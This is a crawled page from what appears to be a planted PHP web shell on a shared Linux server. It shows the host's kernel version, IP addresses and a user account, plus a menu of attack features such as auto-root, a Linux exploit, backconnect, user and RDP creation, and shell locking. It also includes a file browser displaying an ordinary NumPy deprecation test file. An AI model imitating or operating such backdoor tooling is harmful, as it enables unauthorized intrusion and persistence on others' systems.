Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
ma /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
test_core.py
197.27
KB
-rw-r--r--
test_deprecations.py
2.21
KB
-rw-r--r--
test_extras.py
66.21
KB
-rw-r--r--
test_mrecords.py
19.42
KB
-rw-r--r--
test_old_ma.py
31.51
KB
-rw-r--r--
test_regression.py
3.01
KB
-rw-r--r--
test_subclassing.py
12.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_deprecations.py
"""Test deprecation and future warnings. """ import numpy as np from numpy.testing import assert_warns from numpy.ma.testutils import assert_equal from numpy.ma.core import MaskedArrayFutureWarning class TestArgsort: """ gh-8701 """ def _test_base(self, argsort, cls): arr_0d = np.array(1).view(cls) argsort(arr_0d) arr_1d = np.array([1, 2, 3]).view(cls) argsort(arr_1d) # argsort has a bad default for >1d arrays arr_2d = np.array([[1, 2], [3, 4]]).view(cls) result = assert_warns( np.ma.core.MaskedArrayFutureWarning, argsort, arr_2d) assert_equal(result, argsort(arr_2d, axis=None)) # should be no warnings for explicitly specifying it argsort(arr_2d, axis=None) argsort(arr_2d, axis=-1) def test_function_ndarray(self): return self._test_base(np.ma.argsort, np.ndarray) def test_function_maskedarray(self): return self._test_base(np.ma.argsort, np.ma.MaskedArray) def test_method(self): return self._test_base(np.ma.MaskedArray.argsort, np.ma.MaskedArray) class TestMinimumMaximum: def test_minimum(self): assert_warns(DeprecationWarning, np.ma.minimum, np.ma.array([1, 2])) def test_maximum(self): assert_warns(DeprecationWarning, np.ma.maximum, np.ma.array([1, 2])) def test_axis_default(self): # NumPy 1.13, 2017-05-06 data1d = np.ma.arange(6) data2d = data1d.reshape(2, 3) ma_min = np.ma.minimum.reduce ma_max = np.ma.maximum.reduce # check that the default axis is still None, but warns on 2d arrays result = assert_warns(MaskedArrayFutureWarning, ma_max, data2d) assert_equal(result, ma_max(data2d, axis=None)) result = assert_warns(MaskedArrayFutureWarning, ma_min, data2d) assert_equal(result, ma_min(data2d, axis=None)) # no warnings on 1d, as both new and old defaults are equivalent result = ma_min(data1d) assert_equal(result, ma_min(data1d, axis=None)) assert_equal(result, ma_min(data1d, axis=0)) result = ma_max(data1d) assert_equal(result, ma_max(data1d, axis=None)) assert_equal(result, ma_max(data1d, axis=0))
Close